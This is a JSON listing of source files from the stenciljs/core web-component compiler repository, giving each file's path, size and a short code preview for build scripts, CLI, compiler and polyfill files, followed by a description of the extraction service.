"preview": ":root{--font-family:-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helv"
},
{
"path": "screenshot/compare/build/app.esm.js",
"chars": 2622,
"preview": "import{p as e,b as r}from\"./p-fbbae598.js\";e().then(e=>r([[\"p-5479268c\",[[0,\"screenshot-compare\",{appSrcUrl:[1,\"app-src-"
},
{
"path": "screenshot/compare/build/app.js",
"chars": 5029,
"preview": "\n(function() {\n function checkSupport() {\n if (!document.body) {\n setTimeout(checkSupport);\n return;\n }\n funct"
},
{
"path": "screenshot/compare/build/index.esm.js",
"chars": 0,
"preview": ""
},
{
"path": "screenshot/compare/build/p-081b0641.js",
"chars": 294,
"preview": "function t(t,n,r){const s=o(t,n,r),c=localStorage.getItem(s);if(\"string\"==typeof c){const t=parseInt(c,10);if(!isNaN(t))"
},
{
"path": "screenshot/compare/build/p-227a1e18.entry.js",
"chars": 11013,
"preview": "import{r as t,h as s,g as e,c as o}from\"./p-fbbae598.js\";import{A as i}from\"./p-e2efe0df.js\";import{m as n,a as r,s as a"
},
{
"path": "screenshot/compare/build/p-2c298727.entry.js",
"chars": 1780,
"preview": "import{r as e,h as t}from\"./p-fbbae598.js\";class s{constructor(t){e(this,t),this.appSrcUrl=\"\",this.imagesUrl=\"/data/imag"
},
{
"path": "screenshot/compare/build/p-5479268c.entry.js",
"chars": 4186,
"preview": "import{r as t,h as s}from\"./p-fbbae598.js\";import{g as i}from\"./p-081b0641.js\";function e(t,s){const i=Object.assign({},"
},
{
"path": "screenshot/compare/build/p-573ec8a4.entry.js",
"chars": 2111,
"preview": "import{r as l,d as t,h as d}from\"./p-fbbae598.js\";class a{constructor(d){l(this,d),this.mismatchedPixels=null,this.diffN"
},
{
"path": "screenshot/compare/build/p-6ba08604.entry.js",
"chars": 1246,
"preview": "import{r as t,h as i}from\"./p-fbbae598.js\";class o{constructor(i){t(this,i),this.a=\"\",this.b=\"\"}async componentWillLoad("
},
{
"path": "screenshot/compare/build/p-6bc63295.entry.js",
"chars": 661,
"preview": "import{r as s,g as t}from\"./p-fbbae598.js\";import{A as e}from\"./p-e2efe0df.js\";class i{constructor(t){s(this,t),this.whe"
},
{
"path": "screenshot/compare/build/p-7a3759fd.entry.js",
"chars": 2679,
"preview": "import{r as e,d as t,h as i}from\"./p-fbbae598.js\";class s{constructor(i){e(this,i),this.filterChange=t(this,\"filterChang"
},
{
"path": "screenshot/compare/build/p-7b4e3ba7.js",
"chars": 2622,
"preview": "import{p as e,b as r}from\"./p-fbbae598.js\";e().then(e=>r([[\"p-5479268c\",[[0,\"screenshot-compare\",{appSrcUrl:[1,\"app-src-"
},
{
"path": "screenshot/compare/build/p-988eb362.css",
"chars": 1507,
"preview": ":root{--font-family:-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helv"
},
{
"path": "screenshot/compare/build/p-9b6a9315.js",
"chars": 5650,
"preview": "const r=new RegExp([\"(\\\\\\\\.)\",\"(?:\\\\:(\\\\w+)(?:\\\\(((?:\\\\\\\\.|[^\\\\\\\\()])+)\\\\))?|\\\\(((?:\\\\\\\\.|[^\\\\\\\\()])+)\\\\))([+*?])?\"].joi"
},
{
"path": "screenshot/compare/build/p-b4cc611c.entry.js",
"chars": 473,
"preview": "import{r as t,g as e}from\"./p-fbbae598.js\";import{A as s}from\"./p-e2efe0df.js\";class i{constructor(e){t(this,e),this.tit"
},
{
"path": "screenshot/compare/build/p-d1bf53f5.entry.js",
"chars": 1303,
"preview": "import{r as t,h as i,g as s}from\"./p-fbbae598.js\";import{A as h}from\"./p-e2efe0df.js\";import{m as a,q as e}from\"./p-9b6a"
},
{
"path": "screenshot/compare/build/p-e2efe0df.js",
"chars": 709,
"preview": "import{h as t}from\"./p-fbbae598.js\";const e=(()=>{let e=new Map,r={historyType:\"browser\",location:{pathname:\"\",query:{},"
},
{
"path": "screenshot/compare/build/p-e8ca6d97.entry.js",
"chars": 400,
"preview": "import{r as t,g as r}from\"./p-fbbae598.js\";import{A as s}from\"./p-e2efe0df.js\";class i{constructor(r){t(this,r)}componen"
},
{
"path": "screenshot/compare/build/p-ec2f13e0.entry.js",
"chars": 425,
"preview": "import{r as t,h as e}from\"./p-fbbae598.js\";class n{constructor(e){t(this,e),this.content=\"\"}componentWillLoad(){if(null!"
},
{
"path": "screenshot/compare/build/p-f0b99977.entry.js",
"chars": 392,
"preview": "import{r as t,g as s}from\"./p-fbbae598.js\";class e{constructor(s){t(this,s),this.context={},this.renderer=()=>null}conne"
},
{
"path": "screenshot/compare/build/p-f4745c2f.entry.js",
"chars": 7347,
"preview": "import{r as t,d as s,h as i,g as e}from\"./p-fbbae598.js\";import{s as n}from\"./p-081b0641.js\";const h={threshold:.1,inclu"
},
{
"path": "screenshot/compare/build/p-fbbae598.js",
"chars": 12335,
"preview": "let e,t,n,l=!1,o=!1,s=!1,r=0,i=!1;const c=\"undefined\"!=typeof window?window:{},a=c.document||{head:{}},f={t:0,l:\"\",jmp:e"
},
{
"path": "screenshot/compare/host.config.json",
"chars": 254,
"preview": "{\n \"hosting\": {\n \"headers\": [\n {\n \"source\": \"/build/p-*\",\n \"headers\": [\n {\n \""
},
{
"path": "screenshot/compare/index.html",
"chars": 2899,
"preview": "<!doctype html><html dir=\"ltr\" lang=\"en\"><head> <meta charset=\"utf-8\"> <title>Stencil Screenshot Visual Diff</title> <me"
},
{
"path": "screenshot/compare/manifest.json",
"chars": 269,
"preview": "{\n \"name\": \"Screenshot\",\n \"short_name\": \"Screenshot\",\n \"start_url\": \"/\",\n \"display\": \"standalone\",\n \"icons\": [{\n "
},
{
"path": "screenshot/connector.js",
"chars": 93,
"preview": "const { ScreenshotConnector } = require('./index.js');\nmodule.exports = ScreenshotConnector;\n"
},
{
"path": "screenshot/local-connector.js",
"chars": 103,
"preview": "const { ScreenshotLocalConnector } = require('./index.js');\nmodule.exports = ScreenshotLocalConnector;\n"
},
{
"path": "scripts/build.ts",
"chars": 1407,
"preview": "import { buildCli } from './esbuild/cli';\nimport { buildCompiler } from './esbuild/compiler';\nimport { buildDevServer } "
},
{
"path": "scripts/esbuild/cli.ts",
"chars": 2593,
"preview": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\n"
},
{
"path": "scripts/esbuild/compiler.ts",
"chars": 4626,
"preview": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport { replace } from 'esbuild-plugin-replace';\nimport "
},
{
"path": "scripts/esbuild/dev-server.ts",
"chars": 10346,
"preview": "import { builtinModules } from 'node:module';\nimport { join } from 'node:path';\n\nimport type { BuildOptions as ESBuildOp"
},
{
"path": "scripts/esbuild/helpers/empty.js",
"chars": 21,
"preview": "module.exports = {};\n"
},
{
"path": "scripts/esbuild/helpers/import-meta-url.js",
"chars": 71,
"preview": "export var import_meta_url = require('url').pathToFileURL(__filename);\n"
},
{
"path": "scripts/esbuild/helpers/jest/jest-environment.js",
"chars": 196,
"preview": "const { getCreateJestPuppeteerEnvironment } = require('./index.js');\nconst createJestPuppeteerEnvironment = getCreateJes"
},
{
"path": "scripts/esbuild/helpers/jest/jest-preprocessor.js",
"chars": 138,
"preview": "const { getJestPreprocessor } = require('./index.js');\nconst jestPreprocessor = getJestPreprocessor();\nmodule.exports = "
},
{
"path": "scripts/esbuild/helpers/jest/jest-preset.js",
"chars": 83,
"preview": "const { getJestPreset } = require('./index.js');\nmodule.exports = getJestPreset();\n"
},
{
"path": "scripts/esbuild/helpers/jest/jest-runner.js",
"chars": 148,
"preview": "const { getCreateJestTestRunner } = require('./index.js');\nconst createTestRunner = getCreateJestTestRunner();\nmodule.ex"
},
{
"path": "scripts/esbuild/helpers/jest/jest-setuptestframework.js",
"chars": 147,
"preview": "const { getJestSetupTestFramework } = require('./index.js');\nconst jestSetupTestFramework = getJestSetupTestFramework();"
},
{
"path": "scripts/esbuild/helpers/lazy-require.js",
"chars": 458,
"preview": "// eslint-disable-next-line @typescript-eslint/no-unused-vars\nfunction _lazyRequire(moduleId) {\n return new Proxy(\n "
},
{
"path": "scripts/esbuild/helpers/path-is-absolute.js",
"chars": 63,
"preview": "import { isAbsolute } from 'path';\n\nexport default isAbsolute;\n"
},
{
"path": "scripts/esbuild/internal-app-data.ts",
"chars": 1889,
"preview": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\n"
},
{
"path": "scripts/esbuild/internal-app-globals.ts",
"chars": 1716,
"preview": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\n"
},
{
"path": "scripts/esbuild/internal-platform-client.ts",
"chars": 5115,
"preview": "import type { BuildOptions as ESBuildOptions, Plugin } from 'esbuild';\nimport { replace } from 'esbuild-plugin-replace';"
},
{
"path": "scripts/esbuild/internal-platform-hydrate.ts",
"chars": 3358,
"preview": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\n"
},
{
"path": "scripts/esbuild/internal-platform-testing.ts",
"chars": 2409,
"preview": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\n"
},
{
"path": "scripts/esbuild/internal.ts",
"chars": 8408,
"preview": "import { generateDtsBundle } from 'dts-bundle-generator';\nimport type { BuildOptions as ESBuildOptions } from 'esbuild';"
},
{
"path": "scripts/esbuild/mock-doc.ts",
"chars": 4428,
"preview": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\n"
},
{
"path": "scripts/esbuild/screenshot.ts",
"chars": 1959,
"preview": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\n"
},
{
"path": "scripts/esbuild/sys-node.ts",
"chars": 7156,
"preview": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport path from 'path';\nimpor"
},
{
"path": "scripts/esbuild/testing.ts",
"chars": 5218,
"preview": "import type { BuildOptions as ESBuildOptions, Plugin } from 'esbuild';\nimport fs from 'fs-extra';\nimport path from 'path"
},
{
"path": "scripts/esbuild/utils/alias-plugin.ts",
"chars": 2702,
"preview": "import { join } from 'path';\nimport type { PartialResolvedId, Plugin } from 'rollup';\n\nimport type { BuildOptions } from"
},
{
"path": "scripts/esbuild/utils/content-types.ts",
"chars": 1025,
"preview": "import fs from 'fs-extra';\nimport { join } from 'path';\n\nimport type { BuildOptions } from '../../utils/options';\n\nexpor"
},
{
"path": "scripts/esbuild/utils/index.ts",
"chars": 4426,
"preview": "import type { BuildOptions as ESBuildOptions, BuildResult as ESBuildResult, OutputFile, Plugin } from 'esbuild';\nimport "
},
{
"path": "scripts/esbuild/utils/parse5.ts",
"chars": 2962,
"preview": "import rollupCommonjs from '@rollup/plugin-commonjs';\nimport rollupResolve from '@rollup/plugin-node-resolve';\nimport fs"
},
{
"path": "scripts/esbuild/utils/terser.ts",
"chars": 1541,
"preview": "import fs from 'fs-extra';\nimport { join } from 'path';\nimport { rollup } from 'rollup';\n\nimport type { BuildOptions } f"
},
{
"path": "scripts/esbuild/utils/typescript-source.ts",
"chars": 3909,
"preview": "import fs from 'fs-extra';\nimport { join } from 'path';\n\nimport type { BuildOptions } from '../../utils/options';\n\n/**\n "
},
{
"path": "scripts/index.ts",
"chars": 285,
"preview": "import { join } from 'path';\n\nimport * as build from './build';\n\n// This path is relative to the final location of the c"
},
{
"path": "scripts/release-tasks.ts",
"chars": 7756,
"preview": "import color from 'ansi-colors';\nimport Listr, { ListrTask } from 'listr';\n\nimport { buildAll } from './build';\nimport {"
},
{
"path": "scripts/release.ts",
"chars": 4478,
"preview": "import color from 'ansi-colors';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\nimport { runReleaseTasks } fro"
},
{
"path": "scripts/test/copy-readme.js",
"chars": 1608,
"preview": "/**\n * This script copies a supplemental README file to the location where it will be overwritten\n * during the `docs-re"
},
{
"path": "scripts/test/validate-build.ts",
"chars": 12882,
"preview": "import fs from 'fs-extra';\nimport { dirname, join, relative } from 'path';\nimport { rollup } from 'rollup';\nimport ts, {"
},
{
"path": "scripts/test/validate-testing.js",
"chars": 453,
"preview": "const testing = require('../../testing/index.js');\n\nconst input = `\nimport { Component, Prop } from '@stencil/core';\n@Co"
},
{
"path": "scripts/tsconfig.json",
"chars": 556,
"preview": "{\n \"compilerOptions\": {\n \"alwaysStrict\": true,\n \"strict\": true,\n \"allowSyntheticDefaultImports\": true,\n \"es"
},
{
"path": "scripts/types/rollup-plugin-node-resolve.d.ts",
"chars": 46,
"preview": "declare module '@rollup/plugin-node-resolve';\n"
},
{
"path": "scripts/updateSelectorEngine.ts",
"chars": 3545,
"preview": "import cp from 'node:child_process';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\n\n/**\n * This scrip"
},
{
"path": "scripts/utils/banner.ts",
"chars": 273,
"preview": "import { BuildOptions } from './options';\n\nexport function getBanner(opts: BuildOptions, fileName: string, license = fal"
},
{
"path": "scripts/utils/bundle-dts.ts",
"chars": 1662,
"preview": "import { EntryPointConfig, generateDtsBundle, OutputOptions } from 'dts-bundle-generator';\nimport fs from 'fs-extra';\n\ni"
},
{
"path": "scripts/utils/constants.ts",
"chars": 886,
"preview": "/**\n * Node built-ins that we mark as external when building Stencil\n */\nexport const NODE_BUILTINS = [\n '_http_agent',"
},
{
"path": "scripts/utils/conventional-changelog-config.js",
"chars": 1490,
"preview": "/**\n * Options for [conventional-changelog](https://github.com/conventional-changelog/conventional-changelog), which is\n"
},
{
"path": "scripts/utils/options.ts",
"chars": 8904,
"preview": "import { execSync } from 'child_process';\nimport { readFileSync } from 'fs-extra';\nimport { join } from 'path';\n\nimport "
},
{
"path": "scripts/utils/postcss-bundle",
"chars": 185,
"preview": "#!/bin/bash\n\ncd ../build\n#rm -rf ./postcss\n#git clone https://github.com/postcss/postcss.git --depth 1\ncd ../..\necho $PW"
},
{
"path": "scripts/utils/postcss-rollup.js",
"chars": 700,
"preview": "import fs from 'fs-extra';\nimport path from 'path';\n\nconst input = require.resolve('postcss');\nconst output = path.join("
},
{
"path": "scripts/utils/release-utils.ts",
"chars": 6557,
"preview": "import color from 'ansi-colors';\nimport fs from 'fs-extra';\nimport { join } from 'path';\nimport semver from 'semver';\n\ni"
},
{
"path": "scripts/utils/test/options.spec.ts",
"chars": 5974,
"preview": "import path from 'path';\n\nimport { BuildOptions, getOptions } from '../options';\nimport * as Vermoji from '../vermoji';\n"
},
{
"path": "scripts/utils/test/release-utils.spec.ts",
"chars": 10190,
"preview": "import fs from 'fs-extra';\n\nimport { BuildOptions } from '../options';\n\n// `open` must be mocked before importing the mo"
},
{
"path": "scripts/utils/vermoji.ts",
"chars": 4164,
"preview": "import fs from 'fs-extra';\n\nconst UNKNOWN_VERMOJI = '❓';\n\nlet vermojis = [\n '💯',\n '☀️',\n '☕️',\n '♨️',\n '✈️',\n '✨',"
},
{
"path": "scripts/utils/write-pkg-json.ts",
"chars": 1744,
"preview": "import fs from 'fs-extra';\nimport path from 'path';\n\nimport { BuildOptions } from './options';\n\nexport function writePkg"
},
{
"path": "src/app-data/index.ts",
"chars": 3637,
"preview": "import type { BuildConditionals } from '@stencil/core/internal';\n\n/**\n * A collection of default build flags for a Stenc"
},
{
"path": "src/app-globals/index.ts",
"chars": 108,
"preview": "export const globalScripts = /* default */ () => {\n /**/\n};\n\nexport const globalStyles = /* default */ '';\n"
},
{
"path": "src/cli/check-version.ts",
"chars": 1241,
"preview": "import { isFunction } from '@utils';\n\nimport type { ValidatedConfig } from '../declarations';\n\n/**\n * Retrieve a referen"
},
{
"path": "src/cli/config-flags.ts",
"chars": 10595,
"preview": "import type { LogLevel, TaskCommand } from '@stencil/core/declarations';\n\n/**\n * All the Boolean options supported by th"
},
{
"path": "src/cli/find-config.ts",
"chars": 2608,
"preview": "import { buildError, isString, normalizePath, result } from '@utils';\n\nimport type { CompilerSystem, Diagnostic } from '"
},
{
"path": "src/cli/index.ts",
"chars": 147,
"preview": "export { BOOLEAN_CLI_FLAGS, ConfigFlags } from './config-flags';\nexport { parseFlags } from './parse-flags';\nexport { ru"
},
{
"path": "src/cli/ionic-config.ts",
"chars": 2401,
"preview": "import type * as d from '../declarations';\nimport { readJson, UUID_REGEX, uuidv4 } from './telemetry/helpers';\n\nexport c"
},
{
"path": "src/cli/load-compiler.ts",
"chars": 283,
"preview": "import type { CompilerSystem } from '../declarations';\n\nexport const loadCoreCompiler = async (sys: CompilerSystem): Pro"
},
{
"path": "src/cli/logs.ts",
"chars": 4650,
"preview": "import type { CompilerSystem, Logger, TaskCommand, ValidatedConfig } from '../declarations';\nimport type { ConfigFlags }"
},
{
"path": "src/cli/parse-flags.ts",
"chars": 19345,
"preview": "import { readOnlyArrayHasStringMember, toCamelCase } from '@utils';\n\nimport { LOG_LEVELS, LogLevel, TaskCommand } from '"
},
{
"path": "src/cli/public.ts",
"chars": 1065,
"preview": "import type { CliInitOptions, Config, Logger, TaskCommand } from '@stencil/core/internal';\n\nimport type { ConfigFlags } "
},
{
"path": "src/cli/run.ts",
"chars": 5388,
"preview": "import { hasError, isFunction, result, shouldIgnoreError } from '@utils';\n\nimport type * as d from '../declarations';\nim"
},
{
"path": "src/cli/task-build.ts",
"chars": 1615,
"preview": "import type * as d from '../declarations';\nimport { printCheckVersionResults, startCheckVersion } from './check-version'"
},
{
"path": "src/cli/task-docs.ts",
"chars": 580,
"preview": "import { isOutputTargetDocs } from '@utils';\n\nimport type { ValidatedConfig } from '../declarations';\nimport type { Core"
},
{
"path": "src/cli/task-generate.ts",
"chars": 12636,
"preview": "import { normalizePath, validateComponentTag } from '@utils';\nimport { join, parse, relative } from 'path';\n\nimport type"
},
{
"path": "src/cli/task-help.ts",
"chars": 2622,
"preview": "import type * as d from '../declarations';\nimport { ConfigFlags } from './config-flags';\nimport { taskTelemetry } from '"
},
{
"path": "src/cli/task-info.ts",
"chars": 1685,
"preview": "import type { CompilerSystem, Logger } from '../declarations';\nimport type { CoreCompiler } from './load-compiler';\n\n/**"
},
{
"path": "src/cli/task-prerender.ts",
"chars": 1468,
"preview": "import { catchError } from '@utils';\n\nimport type { BuildResultsComponentGraph, Diagnostic, ValidatedConfig } from '../d"
},
{
"path": "src/cli/task-serve.ts",
"chars": 1528,
"preview": "import { isString } from '@utils';\n\nimport type { ValidatedConfig } from '../declarations';\n\nexport const taskServe = as"
},
{
"path": "src/cli/task-telemetry.ts",
"chars": 2192,
"preview": "import type * as d from '../declarations';\nimport { ConfigFlags } from './config-flags';\nimport { checkTelemetry, disabl"
},
{
"path": "src/cli/task-test.ts",
"chars": 3171,
"preview": "import type { TestingRunOptions, ValidatedConfig } from '../declarations';\n\n/**\n * Entrypoint for any Stencil tests\n * @"
},
{
"path": "src/cli/task-watch.ts",
"chars": 2147,
"preview": "import type { DevServer, ValidatedConfig } from '../declarations';\nimport { printCheckVersionResults, startCheckVersion "
},
{
"path": "src/cli/telemetry/helpers.ts",
"chars": 2180,
"preview": "import type * as d from '../../declarations';\nimport { ConfigFlags } from '../config-flags';\n\nexport const tryFn = async"
},
{
"path": "src/cli/telemetry/shouldTrack.ts",
"chars": 641,
"preview": "import * as d from '../../declarations';\nimport { isInteractive } from './helpers';\nimport { checkTelemetry } from './te"
},
{
"path": "src/cli/telemetry/telemetry.ts",
"chars": 17089,
"preview": "import { isOutputTargetHydrate, WWW } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { readConfig,"
},
{
"path": "src/cli/telemetry/test/helpers.spec.ts",
"chars": 2902,
"preview": "import { createSystem } from '../../../compiler/sys/stencil-sys';\nimport { ConfigFlags, createConfigFlags } from '../../"
},
{
"path": "src/cli/telemetry/test/telemetry.spec.ts",
"chars": 9030,
"preview": "import * as coreCompiler from '@stencil/core/compiler';\nimport { mockValidatedConfig } from '@stencil/core/testing';\nimp"
},
{
"path": "src/cli/test/ionic-config.spec.ts",
"chars": 3951,
"preview": "import { mockCompilerSystem } from '@stencil/core/testing';\n\nimport { createSystem } from '../../compiler/sys/stencil-sy"
},
{
"path": "src/cli/test/parse-flags.spec.ts",
"chars": 17987,
"preview": "import { toDashCase } from '@utils';\n\nimport { LogLevel } from '../../declarations';\nimport {\n BOOLEAN_CLI_FLAGS,\n BOO"
},
{
"path": "src/cli/test/run.spec.ts",
"chars": 11178,
"preview": "import * as coreCompiler from '@stencil/core/compiler';\nimport { mockCompilerSystem, mockConfig, mockLogger as createMoc"
},
{
"path": "src/cli/test/task-generate.spec.ts",
"chars": 7065,
"preview": "import { mockCompilerSystem, mockValidatedConfig } from '@stencil/core/testing';\n\nimport type * as d from '../../declara"
},
{
"path": "src/client/client-build.ts",
"chars": 251,
"preview": "import { BUILD } from '@app-data';\n\nimport type * as d from '../declarations';\n\nexport const Build: d.UserBuildCondition"
},
{
"path": "src/client/client-host-ref.ts",
"chars": 2530,
"preview": "import { BUILD } from '@app-data';\nimport { CMP_FLAGS } from '@utils/constants';\nimport { reWireGetterSetter } from '@ut"
},
{
"path": "src/client/client-load-module.ts",
"chars": 2455,
"preview": "import { BUILD } from '@app-data';\n\nimport type * as d from '../declarations';\nimport { consoleDevError, consoleError } "
},
{
"path": "src/client/client-log.ts",
"chars": 807,
"preview": "import { BUILD } from '@app-data';\n\nimport type * as d from '../declarations';\n\nlet customError: d.ErrorHandler;\n\nexport"
},
{
"path": "src/client/client-patch-browser.ts",
"chars": 1779,
"preview": "import { BUILD, NAMESPACE } from '@app-data';\nimport { consoleDevInfo, H, promiseResolve, win } from '@platform';\n\nimpor"
},
{
"path": "src/client/client-style.ts",
"chars": 276,
"preview": "import type * as d from '../declarations';\n\nexport const styles: d.StyleMap = /*@__PURE__*/ new Map();\nexport const mode"
},
{
"path": "src/client/client-task-queue.ts",
"chars": 2752,
"preview": "import { BUILD } from '@app-data';\n\nimport type * as d from '../declarations';\nimport { PLATFORM_FLAGS } from '../runtim"
},
{
"path": "src/client/client-window.ts",
"chars": 2288,
"preview": "import { BUILD } from '@app-data';\n\nimport type * as d from '../declarations';\n\ninterface StencilWindow extends Omit<Win"
},
{
"path": "src/client/index.ts",
"chars": 314,
"preview": "export * from './client-build';\nexport * from './client-host-ref';\nexport * from './client-load-module';\nexport * from '"
},
{
"path": "src/client/polyfills/core-js.js",
"chars": 94116,
"preview": "/**\n * core-js 3.6.5\n * https://github.com/zloirock/core-js\n * License: http://rock.mit-license.org\n * © 2019 Denis Push"
},
{
"path": "src/client/polyfills/dom.js",
"chars": 19514,
"preview": "(function(){\n /*\n Copyright (c) 2016 The Polymer Project Authors. All rights reserved.\n This code may only be use"
},
{
"path": "src/client/polyfills/es5-html-element.js",
"chars": 320,
"preview": "(function(){if(\"undefined\"!==typeof window&&void 0!==window.Reflect&&void 0!==window.customElements){var a=HTMLElement;w"
},
{
"path": "src/client/polyfills/index.js",
"chars": 1143,
"preview": "export function applyPolyfills() {\n var promises = [];\n if (typeof window !== 'undefined') {\n var win = window;\n\n "
},
{
"path": "src/client/polyfills/system.js",
"chars": 4383,
"preview": "/**\n * SystemJS 4.0.2\n * MANUAL PATCH: remove script.crossOrigin = \"anonymous\"\n * MANUAL PATCH: add conditionally apply,"
},
{
"path": "src/compiler/app-core/app-data.ts",
"chars": 8871,
"preview": "import {\n BuildConditionals,\n BuildFeatures,\n ComponentCompilerMeta,\n Module,\n ModuleMap,\n ValidatedConfig,\n} from"
},
{
"path": "src/compiler/app-core/app-es5-disabled.ts",
"chars": 6056,
"preview": "import { escapeHtml, generatePreamble, join } from '@utils';\n\nimport type * as d from '../../declarations';\n\nexport cons"
},
{
"path": "src/compiler/app-core/app-polyfills.ts",
"chars": 1057,
"preview": "import { join } from '@utils';\n\nimport type * as d from '../../declarations';\n\nexport const getClientPolyfill = async (\n"
},
{
"path": "src/compiler/app-core/bundle-app-core.ts",
"chars": 1899,
"preview": "import type { OutputAsset, OutputChunk, OutputOptions, RollupBuild } from 'rollup';\n\nimport type * as d from '../../decl"
},
{
"path": "src/compiler/build/build-ctx.ts",
"chars": 7041,
"preview": "import { hasError, hasWarning, result } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { validateC"
},
{
"path": "src/compiler/build/build-finish.ts",
"chars": 6596,
"preview": "import { isFunction, isRemoteUrl, relative } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { gene"
},
{
"path": "src/compiler/build/build-hmr.ts",
"chars": 7294,
"preview": "import { isGlob, isOutputTargetWww, normalizePath, sortBy } from '@utils';\nimport { minimatch } from 'minimatch';\nimport"
},
{
"path": "src/compiler/build/build-results.ts",
"chars": 1633,
"preview": "import { fromEntries, hasError, isString, normalizeDiagnostics } from '@utils';\n\nimport type * as d from '../../declarat"
},
{
"path": "src/compiler/build/build-stats.ts",
"chars": 6772,
"preview": "import { byteSize, isOutputTargetStats, result, sortBy } from '@utils';\n\nimport type * as d from '../../declarations';\n\n"
},
{
"path": "src/compiler/build/build.ts",
"chars": 2880,
"preview": "import { createDocument } from '@stencil/core/mock-doc';\nimport { catchError, isString, readPackageJson } from '@utils';"
}
]
// ... and 1867 more files (download for full content)
About this extraction
This page contains the full source code of the stenciljs/core GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 2067 files (6.6 MB), approximately 1.8M tokens, and a symbol index with 5676 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.